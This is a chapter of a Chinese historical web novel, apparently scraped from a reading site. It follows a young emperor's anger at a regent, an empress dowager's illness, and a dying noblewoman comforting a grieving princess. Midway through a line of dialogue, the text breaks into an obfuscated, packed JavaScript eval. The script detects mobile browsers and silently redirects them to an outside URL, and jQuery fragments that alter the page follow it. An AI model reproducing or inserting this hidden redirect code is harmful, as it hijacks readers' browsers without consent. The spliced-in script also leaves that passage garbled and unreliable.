默认冷灰
24号文字
方正启体

48. 宣泄

作者:元气小甜豆本书字数:K更新时间:
    李祚将奏折书重重掷地,恨声道:“欺人太甚!大行皇帝山陵发引,竟不许我同往!”


    “圣人请息怒。”阿能将奏书捡起来,耐心劝解道,“梁王也是为圣人的身子考虑,圣人纯孝,为大行皇帝举行大礼一定会伤及龙体。国事又如此之多,您切记要保重身子啊。”


    李祚一脸怒气地看向阿能,只见阿能不时地将头扭向窗外,他知道隔墙有耳,只好按下不语。


    阿能又道:“圣人,太后已在殿外等候多时。”


    “不见!”李祚断然道。


    “您已多日未往仙居殿拜见太后,于礼不合……”


    “不见!不见!我说了不见!去把乳母给我叫来!”李祚一脸的愤怒藏都藏不住。


    阿能低叹一声,硬着头皮走出大殿。


    “怎么?”何太后皱眉问道。


    “这几日大臣们奏书纷至,圣人正忙于批阅。”阿能圆滑地替李祚开脱,“太后您看今日天色也有些晚了,不如您先回宫歇息,圣人说过几日便亲自去给太后请安。”


    何太后听后心中不禁猜测:难不成她和蒋玄晖苟且之事已被李祚知晓?这个念头一起,她顿时羞愧难当,恨不得找个地缝钻进去,踉跄后退数步,幸亏阿能和阿虔眼疾手快两相搀住她。


    可……她亦是情非得已,若非为保李祚性命,她大可当日追随大行皇帝而去!她这般做,全然是为了李祚,可到头来,李祚却最不能体谅她。念及此,她心如寒冰,眼神中难掩失望之色,落寞地转过身,只觉头皮发晕,似天旋地转,胸口一阵恶心。


    “太后,您怎么了?”阿虔发觉何太后的脸色变得虚白,额头冒出一股虚汗。


    阿秋紧张道:“太后您哪里不舒服?马上宣御医来看看吧。”


    “无妨,只是近日总觉食欲不振,恶心发晕。”何太后轻抚胸口道。


    “还是宣御医来瞧瞧吧。”阿秋忧心忡忡。


    何太后想了想,“好。”


    ——————


    “我离去时,不是还好好的吗?”朱凛心疼地望着躺在床上的张惠,脸上怒容令人胆寒,“王妃的病,怎会变得这么严重!”


    灵芝见朱凛动了怒,连忙跪下请罪,“大王恕罪!”


    屋内众人谁都不敢言语,摒心静气。


    “莫要责怪她,都是前几日我贪凉,受了些风寒。”张惠面露疲倦之色。两月未见,她整个人竟像苍老了数岁,声音格外软弱,“大王,我的病不碍事。前线还有很多事情,你还是早些前去吧。咳咳……咳咳……”


    “还不快去拿茶水!”朱凛对着灵芝暴怒道,可转向张惠后神情宽敞了些,握着她干瘦的手,“别担心,我回来了。”


    “王妃。”灵芝连走带跑地端来一盏热茶,温度恰到好处。


    张惠慢慢饮下茶后,气色稍微变得好了些。她的语气温和而又紧迫,颇为识大体地说:“大王前两次征伐淮南都无功而返,如今光州意欲归顺,遣使来求援,真乃幸事。不要因为我耽误了前线的事情,一胜一败,关系到成千上万条将士的性命。”


    淮南节度使杨行密部下杜洪率光州众将投降朱凛,杨行密得知后立即派军包围。光州同已被围困许久的鄂州同时向朱凛发出十万紧急求援。


    朱凛早有吞并淮南之心,第一次谋划南征时,被时溥从中牵制掣肘,出师计划被迫搁置。其后朱凛全力投入中原争霸,与朱瑄、朱瑾兄弟连年交战、争夺地盘,无暇南顾。杨行密便趁中原战乱空隙,完全掌控淮南之地,割据一方。


    富庶的淮南始终是朱凛必取之地,待到中原战事平定、后方安定,他终于腾出手来,第二次大举征伐淮南。他志在必得、满心想要一举剿灭杨行密,任命庞师古为主帅、葛从周副之,统领十万大军南下征伐淮南。


    大军抵达后,庞师古驻军清口。他自恃兵力强盛、将卒众多,心生骄矜、轻敌无备。清口本是低洼地势,部下建言移营到高处设立营栅、防备水攻,庞师古固执己见,认为非朱凛明令,拒不采纳。


    杨行密抓住战机,命人壅塞淮河上游水流,随后决水灌淹汴军大营。平地遭大水漫灌,汴军猝不及防、全军溃败,庞师古战死阵中。葛从周见主力大败,慌忙率军后撤,却被杨行密淮军一路追击掩杀,再遭重创,汴军伤亡惨重、死伤无数。


    经此清口大败,朱凛南下吞并淮南的野心彻底破灭,再也无力大举征讨淮南,只能坐视杨行密牢牢稳住淮南基业,成为割据江淮、雄踞一方的强大藩镇。


    朱友贞焦灼地望着自己的母亲,目光中有一丝忧伤的阴影,不知是因张惠的病情,还是因这段时间李凌薇对他刻意的冷漠。


    朱凛的眼中满是不舍和不放心,“你这个样子,叫我怎能放心出兵。”


    “都是些老毛病了。”张惠笑了笑,“这些年这个病断断续续,你看不是还好好的吗。”


    “可……”此刻的朱凛倒显得有些优柔寡断。


    “不要再说了大王。”张惠将朱凛的手反握住,莞尔一笑,“我无碍,大王快去吧,战场的事比我的身子重一万倍。我在家里等着你凯旋。”


    朱凛思虑再三,仍是不忍,“你这个样子,我实在放心不下,我还是过几日再出发。”


    “大王……”


    看到这一幕,李凌薇内心的情感之闸也被拉开了。分别之际,朱凛对待自己的妻子百般疼爱,对别人却痛下杀手!她想起阿耶,泪水在眼中打着转转,又生生地憋了回去,并在心里恶毒地诅咒:“朱凛你一定会遭到报应!死后下阿鼻地狱,永世不得超生!”


    “听我的。”朱凛不容置喙,“区区鼠辈,我过几日再去,也照样能收拾他们。”


    “大王……”张惠仍是不放心。


    “有裴迪与敬翔在前线坐镇,夫人无需忧虑。我去安排一番,夫人且好生歇息。”朱凛细心地为张惠掖好被角后离去。


    “咳咳……”待朱凛一走,张惠微微咳嗽起来,顿了顿,平静地说道,“你们都先退下吧,留下公主一个人就好。”


    李凌薇有些不解地看向张惠,朱友贞也投去同样的目光,“母亲……”


    张惠朝着朱友贞勉强挤出一丝欣然的微笑,声音微弱地说道:“回去吧。”


    朱友贞和朱晓静、朱晓风三人互望了一眼,俯身而退,房中只剩下张惠和李凌薇两人。


    “扶我坐起来吧。”张惠喘着粗气,朝李凌薇伸了伸手。


    李凌薇连忙将她扶起,拿起鹿皮隐囊垫在她的腰后,又为她盖好被子,小心地询问:“这样可以吗?”


    “你也坐吧。”


    李凌薇搬来绣墩坐下,张惠略带抱歉地说道:“孩子,苦了你了。看看,你都瘦成什么样子了,最近这段日子你一定耗损了不少心神。”


    李凌薇摇了摇头,无语为对。在洛阳的两个月,她日日吃不好睡不好,整个人消瘦了一圈,此刻疲惫之色尽显。


    “咳咳……”张惠又剧烈地咳了起来,面容一瞬间变得惨白,毫无血色。


    李凌薇赶紧轻拍着她的后背,可见到她取下手帕上满满是大块的鲜血,顿时惊愕了。


    张惠不以为意,反而轻笑一声,“或许是……我的罪孽太过深重了吧。”


    “您心地善良,待人温和,怎么会有罪孽。还是叫邹医官来看一看吧。”


    “不用了。”张惠坚持着,轻叹一声,拉住了李凌薇的手,“公主,我知道你心里记恨……”她心怀愧疚,但没有从正面说下去,而是将话锋一转,“可有些事情我们妇道人家并做不了主。”


    张惠的话说到了要害,李凌薇只能垂首保持沉默,泪水顺着脸颊流到脖颈。


    张惠凄然长叹,一边以丝帕为她拭泪一边柔声安慰。两个人都有难言之隐,场面就这么僵持住了。


    张惠掀开被子走下床,径直跪了下去,“我们对不起你……”


    李凌薇“腾”地站了起来,忙要扶起张惠,“阿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535208|203025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姑你这是做什么?”


    张惠声泪俱下地不断道歉,“公主,是我们全家都对不起你。”说着,俯身朝李凌薇一拜。


    “您这般是为何?”李凌薇佯装不知。她未料到张惠如此坦率诚恳,眼眶不禁发热。她赶忙垂下眼睛,尽力设法让自己的眼泪不掉下来。


    “对不起。”


    “您快起来。”


    “我代全家向你赔罪。”张惠说着,又是一拜。


    李凌薇看着张惠,泪水模糊了视线。在洛阳,因朱凛的压迫,皇宫里陷入一片死寂,无法为大行皇帝的驾崩公开表达哀悼。她只好将所有悲痛深埋心底,即使在夜深人静时,也只能偷偷地咬着手指,藏在被子下无声抽泣。她多么想将自己所有的恐惧和无奈,所有的担惊与受怕都倾诉出来,可……


    “哭吧,孩子。”张惠轻轻拍着李凌薇的后背,疼惜地任她倾诉,“我知道你的委屈,在我的面前你不必再掩饰了。我不仅将你认作儿媳,更已经把你视作我的女儿。咱们相处这半年,从未红过脸,你在我床前尽孝,我都记在心里。你遇到了这么大的事,怎么能不伤心呢。那可是生你养你的阿耶啊。”


    李凌薇听了这话,心头如浪翻潮涌。张惠的话竟是这段日子以来她听到的最触及肺腑的话,顿感恳切,胸中有千言万语,却半个字也吐不出,只是怔怔地望着张惠。


    “如果你想说什么,就说出来;如果你想哭,就哭出来。我这里没有旁人,相信我,我这里是你可以完全信任的地方。”


    这句话又碰在李凌薇的心坎上,她试着张开口,慢慢地道:“我阿耶死了。”


    张惠轻拍她的后脊,“慢慢说,别着急。”


    “我阿耶他死了,从小最疼我的阿耶没了,不会再出现了。他真的没了,我再也见不到他了。我好难过,好难过……”在张惠慈母般温暖的怀抱中,李凌薇终于不再压抑,尽情地抛洒出泪水,痛痛快快地哭了起来,泪水浸湿了她整张脸。她为阿耶而哭,为自己的遭遇而哭。眼泪像泄了洪的江水,遏制不住地流了出来,她紧紧地抱着张惠,上气不接下气地哭着,随着眼泪的流淌,她胸中那道堤防轰然崩塌,整个人好像舒坦了很多。


    张惠紧紧地拥着她,陪着她一起哭着,一双柔软的手掌不停安抚着她。


    过了很久,她宣泄完情绪,有种如释重负的轻松感。她感激地朝张惠笑了笑。


    张惠用手轻轻擦去她的泪水,尽管她自己也是一脸泪水。


    “你的心思我都明白。我知道你需要时间来缓解。我相信阿贞也愿意等你。你也绝非心硬之人,阿贞待你如何,我想你自己心里也一定清楚。你们两个人都需要时间,时间会冲淡一切。可是公主,你能明白一个做母亲的心吗?咳咳……”因话说得太急切,张惠又剧烈地咳嗽了起来。


    “您别激动……”李凌薇慌忙拍着她的后背。


    “作为母亲,我也有我自私的一面,希望你能谅解。我希望你不要将这件事情怪到阿贞身上。”


    李凌薇摇了摇头,没有说话。


    “我知道我的要求有些强人所难。我看得出来,你和阿贞只是表面上装作夫妻和睦,但你的内心还是拒绝他的。一个女子若真心喜欢她的郎君,看他的眼神绝不会如你那般刻意疏离。可我看得出,阿贞真心爱慕你,你能否再给他一次机会?”


    “我……”


    张惠握住李凌薇的手,“百世修得同船渡,千世修得共枕眠,你们今生能结为夫妻,实属难得。你和阿贞都是善良的孩子,愿你们都能善待彼此。相信我,时间是最好的良药,能改变一切,你们定能解开心结,拥抱彼此。相信我!”


    李凌薇不忍婉拒,勉强地点了点头。


    哀伤笼罩着两人,直到晚间灵芝来请张惠用晚饭。


    李凌薇捧镜立在面前,张惠对镜整理鬓角,她笑着将镜子转向李凌薇,镜中的两人,两只眼睛都肿得如桃子一般,且泪光满面,不由得相视一笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)